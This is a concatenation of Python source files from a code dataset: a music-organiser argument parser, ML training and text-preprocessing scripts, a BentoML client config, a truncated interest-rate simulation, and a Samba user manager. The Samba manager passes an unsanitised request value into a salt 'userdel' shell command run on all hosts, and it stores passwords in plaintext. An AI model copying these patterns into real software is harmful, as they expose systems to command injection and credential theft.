argparse.ArgumentTypeError(\n f'path exists: {string}'\n )\n\n p = os.path.dirname(os.path.normpath(string)) or '.'\n if not os.path.isdir(p):\n raise argparse.ArgumentTypeError(\n f'parent path is not a directory: {p}'\n )\n elif not os.path.exists(p):\n raise argparse.ArgumentTypeError(\n f'parent directory does not exist: {p}'\n )\n\n return string\n\n\ndef create_parser():\n '''\n Creates the argument parser for the whole program\n '''\n parser = argparse.ArgumentParser(\n description='''\n organize your music files into folders\n ''',\n prog=\"tidysic\"\n )\n\n parser.add_argument(\n '-V',\n '--version',\n help='show version',\n action='version',\n version='%(prog)s v0.1'\n )\n\n parser.add_argument(\n '-v',\n '--verbose',\n help='display more info when running',\n action='store_true',\n )\n\n parser.add_argument(\n '--with-album',\n help='''create an album directory inside the artist directory''',\n action='store_true',\n )\n\n parser.add_argument(\n '--with-clutter',\n help='''moves non-audio files along with their audio neighbor files''',\n action='store_true',\n )\n\n parser.add_argument(\n '-g',\n '--guess',\n help='''\\\n guess the audio file title and artist when there is no IDE tags''',\n action='store_true',\n )\n\n parser.add_argument(\n '-d',\n '--dry-run',\n help='''do nothing on the files themselves, but print out the \\\n actions that would happen''',\n action='store_true',\n dest='dry_run',\n )\n\n parser.add_argument(\n 'source',\n type=PathType(\n exists=True,\n type='dir',\n dash_ok=False\n ),\n help='directory whose content will be organized',\n )\n\n parser.add_argument(\n 'target',\n type=PathType(\n exists=None,\n type='dir',\n dash_ok=False\n ),\n help='''directory (will be created if needed) in which the \\\n files will be organized''',\n )\n\n return parser\n", "sub_path": "tidysic/argparser.py", "file_name": "argparser.py", "file_ext": "py", "file_size_in_byte": 5200, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentTypeError", "line_number": 38, "usage_type": "call"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 41, "usage_type": "call"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.symlink", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 68, "usage_type": "call"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 72, "usage_type": "call"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 87, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 98, "usage_type": "call"}]} {"seq_id": "143553118", "text": "import numpy as np\nfrom utils.norm import data_norm, data_denorm\nfrom utils.dataIO import read_csv, save_csv\nfrom regression.DNN.model import DNN_train_model, DNN_test_model, DNN_save_model\nfrom regression.XGBoost.model import XGB_train_model, XGB_test_model, XGB_save_model\nfrom regression.RandomForest.model import RF_train_model, RF_test_model, RF_save_model\nfrom regression.AdaBoost.model import AdaBoost_train_model, AdaBoost_test_model, AdaBoost_save_model\nfrom regression.DecisionTree.model import DT_train_model, DT_test_model, DT_save_model\nfrom cfgs import *\n\ndef train(modelName):\n # read data\n x = read_csv(TRAIN_INPUT)\n y = read_csv(TRAIN_OUTPUT)\n x_val = read_csv(VAL_INPUT)\n y_val = read_csv(VAL_OUTPUT)\n\n # normalization data\n x = data_norm(x, 'input', normMethod=NORM_METHOD)\n y = data_norm(y, 'output', normMethod=NORM_METHOD)\n x_val = data_norm(x_val, 'input', normMethod=NORM_METHOD)\n y_val = data_norm(y_val, 'output', normMethod=NORM_METHOD)\n\n print('Begin to train ', modelName)\n if modelName == 'RandomForest':\n for i in range(OUTPUT_NUM_TOTAL):\n model = RF_train_model(x, y[:, i], x_val, y_val[:, i])\n RF_save_model(model, 'rf_output{}.model'.format(i))\n print('RandomForest train: {} output param has been trained!\\n'.format(i))\n elif modelName == 'XGBoost':\n for i in range(OUTPUT_NUM_TOTAL):\n model = XGB_train_model(x, y[:, i], x_val, y_val[:, i])\n XGB_save_model(model, 'xgb_output{}.model'.format(i))\n print('XGBoost train: {} output param has been trained!\\n'.format(i))\n elif modelName == 'AdaBoost':\n for i in range(OUTPUT_NUM_TOTAL):\n model = AdaBoost_train_model(x, y[:, i], x_val, y_val[:, i])\n AdaBoost_save_model(model, 'AdaBoost_output{}.model'.format(i))\n print('AdaBoost train: {} output param has been trained!\\n'.format(i))\n elif modelName == 'DNN':\n for i in range(OUTPUT_NUM_TOTAL):\n model = DNN_train_model(x, y[:, i], x_val, y_val[:, i])\n DNN_save_model(model, 'nn_output{}.pkl'.format(i))\n print('DNN train: {} output param has been trained!\\n'.format(i))\n elif modelName == 'DecisionTree':\n for i in range(OUTPUT_NUM_TOTAL):\n model = DT_train_model(x, y[:, i], x_val, y_val[:, i])\n DT_save_model(model, 'DecisionTree_output{}.model'.format(i))\n print('DecisionTree train: {} output param has been trained!\\n'.format(i))\n\n\nif __name__=='__main__':\n train('DecisionTree')\n", "sub_path": "train_reg.py", "file_name": "train_reg.py", "file_ext": "py", "file_size_in_byte": 2571, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "utils.dataIO.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "utils.dataIO.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "utils.dataIO.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "utils.dataIO.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "utils.norm.data_norm", "line_number": 19, "usage_type": "call"}, {"api_name": "utils.norm.data_norm", "line_number": 20, "usage_type": "call"}, {"api_name": "utils.norm.data_norm", "line_number": 21, "usage_type": "call"}, {"api_name": "utils.norm.data_norm", "line_number": 22, "usage_type": "call"}, {"api_name": "regression.RandomForest.model.RF_train_model", "line_number": 27, "usage_type": "call"}, {"api_name": "regression.RandomForest.model.RF_save_model", "line_number": 28, "usage_type": "call"}, {"api_name": "regression.XGBoost.model.XGB_train_model", "line_number": 32, "usage_type": "call"}, {"api_name": "regression.XGBoost.model.XGB_save_model", "line_number": 33, "usage_type": "call"}, {"api_name": "regression.AdaBoost.model.AdaBoost_train_model", "line_number": 37, "usage_type": "call"}, {"api_name": "regression.AdaBoost.model.AdaBoost_save_model", "line_number": 38, "usage_type": "call"}, {"api_name": "regression.DNN.model.DNN_train_model", "line_number": 42, "usage_type": "call"}, {"api_name": "regression.DNN.model.DNN_save_model", "line_number": 43, "usage_type": "call"}, {"api_name": "regression.DecisionTree.model.DT_train_model", "line_number": 47, "usage_type": "call"}, {"api_name": "regression.DecisionTree.model.DT_save_model", "line_number": 48, "usage_type": "call"}]} {"seq_id": "3203528", "text": "# coding=utf-8\nimport numpy\nfrom web.models import SambaUser, SambaPermission\nfrom includes.transport_inc import run_command, run_single_command\n\n\nclass SambaUserManage(object):\n\n def show_users(self):\n\n users = SambaUser.objects.all()\n show_users_info = []\n user_info = {}\n for user in users:\n if user.authority == 1:\n share_relates = SambaPermission.objects.filter(user_name_id=user.user_name)\n user_info = {\n 'name': user.user_name,\n 'group': user.group_name,\n 'share_relate_num': len(share_relates),\n 'uid': user.uid,\n 'gid': user.gid\n }\n\n show_users_info.append(user_info)\n else:\n continue\n\n return list(reversed(show_users_info))\n\n def create_user(self, request):\n try:\n name = request.GET.get('name')\n passwd = request.GET.get('password')\n except Exception as e:\n return \"fail\"\n\n # shezhi uid\n users = SambaUser.objects.filter(authority=1)\n if users.count() > 0:\n uid_list = []\n for u in users:\n uid_list.append(int(u.uid))\n uid = numpy.max(uid_list) + 1\n else:\n uid = 600\n service = \"create-user\"\n data = {\n 'name': name,\n 'passwd': passwd,\n 'uid': uid\n }\n response = run_command(service, data)\n try:\n if response['result'] != 0:\n return \"fail\"\n else:\n group_name = response['group_name']\n gid = response['gid']\n SambaUser.objects.create(\n user_name=name,\n password=passwd,\n group_name=group_name,\n uid=uid,\n gid=gid,\n authority=1,\n )\n return \"success\"\n except Exception as e:\n return \"fail\"\n\n def delete_user(self, request):\n try:\n name = request.GET.get('name')\n except Exception as e:\n return \"fail\"\n\n per = SambaPermission.objects.filter(user_name_id=name)\n if len(per) == 0:\n cmd = \"salt '*' cmd.run 'userdel %s'\" % name\n (returncode, output) = run_single_command(cmd)\n if returncode == 0:\n SambaUser.objects.get(user_name=name).delete()\n return \"success\"\n else:\n return \"fail\"\n else:\n return \"存在关联共享，不可删除\"\n\nsamba_user_manage = SambaUserManage()", "sub_path": "modules/file_share/samba_user_manage.py", "file_name": "samba_user_manage.py", "file_ext": "py", "file_size_in_byte": 2715, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "web.models.SambaUser.objects.all", "line_number": 11, "usage_type": "call"}, {"api_name": "web.models.SambaUser.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "web.models.SambaUser", "line_number": 11, "usage_type": "name"}, {"api_name": "web.models.SambaPermission.objects.filter", "line_number": 16, "usage_type": "call"}, {"api_name": "web.models.SambaPermission.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "web.models.SambaPermission", "line_number": 16, "usage_type": "name"}, {"api_name": "web.models.SambaUser.objects.filter", "line_number": 39, "usage_type": "call"}, {"api_name": "web.models.SambaUser.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "web.models.SambaUser", "line_number": 39, "usage_type": "name"}, {"api_name": "numpy.max", "line_number": 44, "usage_type": "call"}, {"api_name": "includes.transport_inc.run_command", "line_number": 53, "usage_type": "call"}, {"api_name": "web.models.SambaUser.objects.create", "line_number": 60, "usage_type": "call"}, {"api_name": "web.models.SambaUser.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "web.models.SambaUser", "line_number": 60, "usage_type": "name"}, {"api_name": "web.models.SambaPermission.objects.filter", "line_number": 78, "usage_type": "call"}, {"api_name": "web.models.SambaPermission.objects", "line_number": 78, "usage_type": "attribute"}, {"api_name": "web.models.SambaPermission", "line_number": 78, "usage_type": "name"}, {"api_name": "includes.transport_inc.run_single_command", "line_number": 81, "usage_type": "call"}, {"api_name": "web.models.SambaUser.objects.get", "line_number": 83, "usage_type": "call"}, {"api_name": "web.models.SambaUser.objects", "line_number": 83, "usage_type": "attribute"}, {"api_name": "web.models.SambaUser", "line_number": 83, "usage_type": "name"}]} {"seq_id": "79104734", "text": "import codecs\nimport operator\n\nfrom nltk import word_tokenize\nimport numpy as np\n\n\ndef get_chars(corpus):\n with codecs.open(corpus, 'rb', 'utf-8') as f:\n characters = set()\n for l in f:\n for character in l:\n characters.add(character)\n characters = sorted(characters)\n chars2idx = {char:idx for idx, char in enumerate(characters)}\n return characters, chars2idx\n\n\ndef get_words(corpus, max_size=10000):\n wordcounts = {}\n for w in word_stream(corpus, 0, None):\n if w in wordcounts:\n wordcounts[w] += 1\n else:\n wordcounts[w] = 1\n wordcounts = sorted(wordcounts.items(), key=operator.itemgetter(1), reverse=True) # sort by key\n if len(wordcounts) > max_size:\n wordcounts = wordcounts[:max_size]\n print('Truncating vocab.')\n words = ['<unk>']\n for w, _ in wordcounts:\n words.append(w)\n word2idx = {w:i for i, w in enumerate(words)}\n return words, word2idx\n\n\ndef char_stream(filename, start_position, end_position):\n with codecs.open(filename, 'rb', 'utf-8') as f:\n f.seek(start_position)\n position = start_position\n while True:\n l = f.next()\n for char in l:\n yield char\n position += 1\n if position == end_position:\n raise StopIteration\n\n\ndef word_stream(filename, start_position, end_position):\n position = 0\n with codecs.open(filename, 'rb', 'utf-8') as f:\n for line in f:\n for w in word_tokenize(line):\n w = w.lower()\n if end_position != None and position == end_position:\n raise StopIteration\n if position >= start_position:\n yield w\n position += 1\n # add new line token as a word\n if end_position != None and position == end_position:\n raise StopIteration\n if position >= start_position:\n yield w\n w = '\\n'\n yield w\n position +=1\n\n\ndef batch_stream(filename, start_positions, end_positions, word_level):\n stream_fn = word_stream if word_level else char_stream\n streams = [stream_fn(filename, start_pos, end_pos) for start_pos, end_pos in zip(start_positions, end_positions)]\n while True:\n try:\n batch = [next(stream) for stream in streams]\n yield batch\n except StopIteration: # one epoch done\n streams = [stream_fn(filename, start_pos, end_pos) for start_pos, end_pos in zip(start_positions, end_positions)]\n\ndef example_stream(filename, num_timesteps, batch_size, word_level):\n total_num_symbols = count_words(filename) if word_level else count_chars(filename)\n print('total num symbols', total_num_symbols)\n num_symbols_per_batch = batch_size * num_timesteps\n total_num_symbols = total_num_symbols - total_num_symbols % num_symbols_per_batch\n start_positions = [i * total_num_symbols//batch_size for i in range(batch_size)]\n end_positions = [start_pos + total_num_symbols/batch_size for start_pos in start_positions]\n batched_symbols = batch_stream(filename, start_positions, end_positions, word_level)\n symbols = [next(batched_symbols)]\n while True:\n symbols = [symbols[-1]]\n for t in range(num_timesteps):\n symbols.append(next(batched_symbols))\n inputs = symbols[:-1] # all but the last symbols are the inputs\n targets = symbols[1:] # all but the first symbols are the targets\n yield inputs, targets\n\n\ndef count_chars(filename):\n total_num_chars = 0\n with codecs.open(filename, 'rb', 'utf-8') as f:\n for l in f: \n total_num_chars += len(l)\n return total_num_chars\n\n\ndef count_words(filename):\n total_num_words = 0\n for w in word_stream(filename, 0, None):\n total_num_words += 1\n return total_num_words\n\n\ndef vectorize_chars(inputs, targets, char2idx):\n num_timesteps = len(inputs)\n batch_size = len(inputs[0])\n num_chars = len(char2idx)\n inputs_tensor = np.zeros(shape=(batch_size, num_timesteps, num_chars))\n for t, batch_t in enumerate(inputs):\n for i, char in enumerate(batch_t):\n charidx = char2idx[char]\n inputs_tensor[i, t, charidx] = 1\n targets_tensor = np.zeros(shape=(batch_size, num_timesteps, num_chars))\n for t, batch_t in enumerate(targets):\n for i, char in enumerate(batch_t):\n charidx = char2idx[char]\n targets_tensor[i, t, charidx] = 1\n return inputs_tensor, targets_tensor\n\ndef vectorize_words(inputs, targets, word2idx):\n num_timesteps = len(inputs)\n batch_size = len(inputs[0])\n inputs_tensor = np.zeros(shape=(batch_size, num_timesteps))\n for t, batch_t in enumerate(inputs):\n for i, word in enumerate(batch_t):\n wordidx = word2idx[word] if word in word2idx else word2idx['<unk>']\n inputs_tensor[i, t] = wordidx\n num_words = len(word2idx)\n targets_tensor = np.zeros(shape=(batch_size, num_timesteps, num_words))\n for t, batch_t in enumerate(targets):\n for i, word in enumerate(batch_t):\n wordidx = word2idx[word] if word in word2idx else word2idx['<unk>']\n targets_tensor[i, t, wordidx] = 1\n return inputs_tensor, targets_tensor\n\n\ndef vectorized_example_stream(filename, num_timesteps, batch_size, symbol2idx, word_level=True):\n stream = example_stream(filename, num_timesteps, batch_size, word_level)\n for inputs, targets in stream:\n if word_level:\n yield vectorize_words(inputs, targets, symbol2idx)\n else:\n yield vectorize_chars(inputs, targets, symbol2idx)", "sub_path": "preprocessing.py", "file_name": "preprocessing.py", "file_ext": "py", "file_size_in_byte": 5720, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "codecs.open", "line_number": 9, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 26, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 38, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 52, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 54, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 139, "usage_type": "call"}]} {"seq_id": "607910154", "text": "import os\nimport logging\nfrom typing import List\nfrom typing import Optional\nfrom pathlib import Path\n\nimport attr\nimport yaml\nimport cattr\nfrom simple_di import inject\nfrom simple_di import Provide\n\nfrom bentoml.exceptions import YataiRESTApiClientError\n\nfrom .yatai import YataiRESTApiClient\nfrom ..configuration.containers import BentoMLContainer\n\nlogger = logging.getLogger(__name__)\n\ndefault_context_name = \"default\"\n\n\n@inject\ndef get_config_path(bentoml_home: str = Provide[BentoMLContainer.bentoml_home]) -> Path:\n return Path(bentoml_home) / \".yatai.yaml\"\n\n\n@attr.define\nclass YataiClientContext:\n name: str\n endpoint: str\n api_token: str\n email: Optional[str] = attr.field(default=None)\n\n def get_yatai_rest_api_client(self) -> YataiRESTApiClient:\n return YataiRESTApiClient(self.endpoint, self.api_token)\n\n def get_email(self) -> str:\n if not self.email:\n cli = self.get_yatai_rest_api_client()\n user = cli.get_current_user()\n if user is None:\n raise YataiRESTApiClientError(\n \"Unable to get current user from yatai server\"\n )\n self.email = user.email\n add_context(self, ignore_warning=True)\n return self.email\n\n\n@attr.define\nclass YataiClientConfig:\n contexts: List[YataiClientContext] = attr.field(factory=list)\n current_context_name: str = attr.field(default=default_context_name)\n\n def get_current_context(self) -> YataiClientContext:\n for ctx in self.contexts:\n if ctx.name == self.current_context_name:\n return ctx\n raise YataiRESTApiClientError(\n f\"Not found {self.current_context_name} yatai context, please login!\"\n )\n\n\n_config: YataiClientConfig = YataiClientConfig()\n\n\ndef store_config(config: YataiClientConfig) -> None:\n with open(get_config_path(), \"w\") as f:\n dct = cattr.unstructure(config)\n yaml.dump(dct, stream=f)\n\n\ndef init_config() -> YataiClientConfig:\n config = YataiClientConfig(contexts=[], current_context_name=default_context_name)\n store_config(config)\n return config\n\n\ndef get_config() -> YataiClientConfig:\n if not os.path.exists(get_config_path()):\n return init_config()\n with open(get_config_path(), \"r\") as f:\n dct = yaml.safe_load(f)\n if not dct:\n return init_config()\n return cattr.structure(dct, YataiClientConfig)\n\n\ndef add_context(context: YataiClientContext, *, ignore_warning: bool = False) -> None:\n config = get_config()\n for idx, ctx in enumerate(config.contexts):\n if ctx.name == context.name:\n if not ignore_warning:\n logger.warning(\"Overriding existing Yatai context config: %s\", ctx.name)\n config.contexts[idx] = context\n break\n else:\n config.contexts.append(context)\n store_config(config)\n\n\ndef get_current_context() -> YataiClientContext:\n config = get_config()\n return config.get_current_context()\n\n\ndef get_current_yatai_rest_api_client() -> YataiRESTApiClient:\n ctx = get_current_context()\n return ctx.get_yatai_rest_api_client()\n", "sub_path": "src/bentoml/_internal/yatai_rest_api_client/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 3162, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "simple_di.Provide", "line_number": 24, "usage_type": "name"}, {"api_name": "configuration.containers.BentoMLContainer.bentoml_home", "line_number": 24, "usage_type": "attribute"}, {"api_name": "configuration.containers.BentoMLContainer", "line_number": 24, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 25, "usage_type": "call"}, {"api_name": "simple_di.inject", "line_number": 23, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 33, "usage_type": "name"}, {"api_name": "attr.field", "line_number": 33, "usage_type": "call"}, {"api_name": "yatai.YataiRESTApiClient", "line_number": 36, "usage_type": "call"}, {"api_name": "yatai.YataiRESTApiClient", "line_number": 35, "usage_type": "name"}, {"api_name": "bentoml.exceptions.YataiRESTApiClientError", "line_number": 43, "usage_type": "call"}, {"api_name": "attr.define", "line_number": 28, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 53, "usage_type": "name"}, {"api_name": "attr.field", "line_number": 53, "usage_type": "call"}, {"api_name": "attr.field", "line_number": 54, "usage_type": "call"}, {"api_name": "bentoml.exceptions.YataiRESTApiClientError", "line_number": 60, "usage_type": "call"}, {"api_name": "attr.define", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cattr.unstructure", "line_number": 70, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 84, "usage_type": "call"}, {"api_name": "cattr.structure", "line_number": 87, "usage_type": "call"}, {"api_name": "yatai.YataiRESTApiClient", "line_number": 108, "usage_type": "name"}]} {"seq_id": "312726082", "text": "import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport timeit\r\nfrom scipy.stats import norm\r\nfrom random import randint\r\nfrom tabulate import tabulate\r\nimport seaborn as sns\r\nfrom scipy import stats\r\nimport scipy.optimize as optimize\r\nimport pandas as pd\r\n\r\n\r\nseed = 10\r\n# seed = randint(0, 100000) # Create random seed\r\nnp.random.seed(seed) # Set seed\r\n\r\n# T = End time\r\n# NoOfSteps = Number of steps in the time grid\r\n# NoOfRates = Number of rates\r\n# insCorr = Matrix containing instantaneous correlation\r\ndef GenerateBM(T, NoOfSteps, NoOfRates, insCorr):\r\n \"\"\"\"Generate Brownian motions.\"\"\"\r\n dt = T / NoOfSteps # Discretization grid\r\n\r\n Z = np.random.normal(0, 1, [NoOfRates, NoOfSteps]) # Create standard normal variables\r\n Zanti = -Z # Antithetic variables\r\n W = np.zeros([NoOfRates, NoOfSteps+1]) # Initialize Brownian motion\r\n Wanti = np.zeros([NoOfRates, NoOfSteps+1]) # Initialize Brownian motion\r\n\r\n C = insCorr # Obtain correlation structure for the Brownian motions\r\n L = np.linalg.cholesky(C) # Apply Cholesky decomposition\r\n\r\n Z = L @ Z\r\n Zanti = L @ Zanti\r\n\r\n for i in range(NoOfSteps):\r\n # Calculate the BM for every forward rate per time step i \r\n W[:, i+1] = W[:, i] + (np.power(dt, 0.5) * Z[:, i])\r\n Wanti[:, i+1] = Wanti[:, i] + (np.power(dt, 0.5) * Zanti[:, i])\r\n\r\n return W, Wanti # Return the generated Brownian motion\r\n\r\n# NoOfSteps = Number of steps in the time grid\r\n# NoOfRates = Number of rates\r\n# IV = Given instantaneous volatilities from the market\r\ndef insVol(NoOfSteps, NoOfRates, IV): \r\n \"\"\"Generate the instantaneous volatility matrix.\"\"\"\r\n V = np.zeros([NoOfRates, NoOfSteps]) \r\n \r\n tenor_steps = NoOfSteps / NoOfRates # Steps in between tenor points\r\n \r\n for i in range(NoOfSteps): # Loop per time step\r\n for j in range(NoOfRates): # Loop per forward rate\r\n if i == 0:\r\n V[j,:] = IV[j] # Set every time step equal to the initialized IV\r\n if i >= tenor_steps*j:\r\n V[0:j,i:] = np.nan # If the forward rate is 'dead' reset the value to NaN\r\n\r\n return V # Return the instantaneous volatility matrix\r\n\r\n# NoOfRates = Number of rates\r\ndef insCorr(NoOfRates):\r\n \"\"\"Generate the instantaneous correlation matrix.\"\"\" \r\n N = NoOfRates # N is the total number of rates\r\n C = np.ones((N, N)) # Initialize the correlation matrix\r\n \r\n # Self-picked the value of 0.95\r\n np.fill_diagonal(C[:,1:], 0.95*np.ones(N-1)) # Set the value of the diagonal right from the true diagonal equal to 0.95 \r\n \r\n for i in range(N):\r\n for j in range(N):\r\n if j - i == 1: # Make the matrix symmetric\r\n C[j,i] = C[i,j]\r\n if j - i > 1: # Fill in the rest of the matrix\r\n k = i\r\n while k < j:\r\n C[i,j] = C[i,j] * C[k,k+1]\r\n C[j,i] = C[i,j]\r\n k = k + 1 \r\n \r\n return C # Return the correlation matrix\r\n\r\n# NoOfRates = Number of rates\r\n# Initial_market = Initial market rates\r\ndef inFor(NoOfRates, initial_market): \r\n \"\"\"Generate the initial forward rates.\"\"\" \r\n L = initial_market[:NoOfRates].to_numpy()\r\n return L # Return the forward rates\r\n\r\n# NoOfSteps = Number of time steps\r\n# NoOfRat = Number of rates\r\n# T = End time\r\n# tau = Difference between time steps\r\n# V = Instantaneous volatility matrix\r\n# L0 = Initial forward rates\r\n# theta = Shift values\r\ndef Generate_BWR_Log_Eul(NoOfSteps, NoOfRat, T, tau, V, L0, theta):\r\n # start = timeit.default_timer() \r\n \"\"\"Generate backward rates using the log-Euler method.\"\"\"\r\n \"\"\"You can actually see this as generating forward rates then in the next function we put the right values at the correct places\"\"\"\r\n # Obtain the initial values needed for the simulation\r\n IC = insCorr(NoOfRat) # Instantaneous correlation matrix\r\n BM, BManti = GenerateBM(T, NoOfSteps, NoOfRat, IC) # Generated Brownian motions\r\n\r\n L0_original = L0 # Initial negative rates\r\n L0_shifted = L0 + theta # Shifted positive rates\r\n \r\n BWR_org = np.zeros([NoOfRat, NoOfSteps + 1]) # Create matrices for the backward/forward rates\r\n BWR_org[:,0] = np.transpose(L0_original) # Set initial values\r\n BWR_shift = np.zeros([NoOfRat, NoOfSteps + 1]) # Create matrices for the backward/forward rates\r\n BWR_shift[:,0] = np.transpose(L0_shifted) # Set initial values\r\n \r\n BWR_org_anti = np.zeros([NoOfRat, NoOfSteps + 1]) # Do the same for the antithetic variables\r\n BWR_org_anti[:,0] = np.transpose(L0_original) \r\n BWR_shift_anti = np.zeros([NoOfRat, NoOfSteps + 1]) \r\n BWR_shift_anti[:,0] = np.transpose(L0_shifted) \r\n\r\n # Calculate the constant over time C matrix. Only constant since IV constant\r\n fa = np.outer(V[:,0] , V[:,0]) * IC[:, :]\r\n fb = np.outer(V[:,0] , V[:,0]) * IC[:, :]\r\n Cii = np.diagonal(tau * ((fa + fb) / 2)) \r\n C = tau * ((fa + fb) / 2) \r\n for time in range(NoOfSteps):\r\n '''Loop per time step'''\r\n Z = V[:, 0] * (BM[: , time+1] - BM[: , time]) # Note: I just use the first volatility value since it is constant over time\r\n Zanti = V[:, 0] * (BManti[: , time+1] - BManti[: , time]) # Note: I just use the first volatility value since it is constant over time\r\n\r\n drift_approx = (tau * (BWR_org[:,time] + theta)) / (1 + tau * BWR_org[:,time]) * C # Start drift approximation\r\n drift_approx_anti = (tau * (BWR_org_anti[:,time] + theta)) / (1 + tau * BWR_org_anti[:,time]) * C # Start drift approximation\r\n \r\n matrix1 = np.tril(drift_approx[:,time:],-time) # Help matrix\r\n matrix2 = np.tril(drift_approx_anti[:,time:],-time) # Help matrix\r\n \r\n X = np.nansum(matrix1, axis=1) # Drift approximation\r\n X_anti = np.nansum(matrix2, axis=1) # Drift approximation\r\n \r\n \r\n BWR_shift[:,time+1] = BWR_shift[:,time] * np.exp(X + (-0.5 * Cii) + Z) # Calculate the next step of the shifted lognormal rates\r\n BWR_org[:,time+1] = BWR_shift[:,time+1] - theta # Shift back to obtain the original rates, needed for the dynamics of the shifted rates\r\n BWR_shift_anti[:,time+1] = BWR_shift_anti[:,time] * np.exp(X_anti + (-0.5 * Cii) + Zanti) # Calculate the next step of the shifted lognormal rates\r\n BWR_org_anti[:,time+1] = BWR_shift_anti[:,time+1] - theta # Shift back to obtain the original rates, needed for the dynamics of the shifted rates \r\n \r\n # Predictor-Corrector Method\r\n approxFRW = 0.5 * ((BWR_org[:,time+1] + theta) + (BWR_org[:,time] + theta))\r\n approxFRW_org = 0.5 * ((BWR_org[:,time+1]) + (BWR_org[:,time])) \r\n approxFRW_anti = 0.5 * ((BWR_org_anti[:,time+1] + theta) + (BWR_org_anti[:,time] + theta))\r\n approxFRW_org_anti = 0.5 * ((BWR_org_anti[:,time+1]) + (BWR_org_anti[:,time]))\r\n \r\n drift_approx = (tau * approxFRW) / (1 + tau * approxFRW_org) * C\r\n drift_approx_anti = (tau * approxFRW_anti) / (1 + tau * approxFRW_org_anti) * C\r\n \r\n matrix1 = np.tril(drift_approx[:,time:],-time)\r\n matrix2 = np.tril(drift_approx_anti[:,time:],-time) \r\n \r\n X = np.nansum(matrix1, axis=1)\r\n X_anti = np.nansum(matrix2, axis=1)\r\n\r\n \r\n BWR_shift[:,time+1] = BWR_shift[:,time] * np.exp(X + (-0.5 * Cii) + Z) # Calculate the next step of the shifted lognormal rates\r\n BWR_org[:,time+1] = BWR_shift[:,time+1] - theta # Shift back to obtain the original rates, needed for the dynamics of the shifted rates\r\n BWR_shift_anti[:,time+1] = BWR_shift_anti[:,time] * np.exp(X_anti + (-0.5 * Cii) + Zanti) # Calculate the next step of the shifted lognormal rates\r\n BWR_org_anti[:,time+1] = BWR_shift_anti[:,time+1] - theta # Shift back to obtain the original rates, needed for the dynamics of the shifted rates\r\n \r\n return BWR_org, BWR_org_anti, BWR_shift, BWR_shift_anti, IC # Return backward rates\r\n\r\n# NoOfSteps = Number of time steps\r\n# NoOfRates = Number of rates\r\n# T = End time\r\n# tau = Difference between time steps\r\n# V = Instantaneous volatility matrix\r\n# L = Initial forward rates\r\n# eul_steps = Number of euler discretization steps\r\n# cap_shift = Shifted to obtain positive rates\r\ndef Generate_Backward_Rates(NoOfSteps, NoOfRates, T, tau, V, L, eul_steps, cap_shift):\r\n 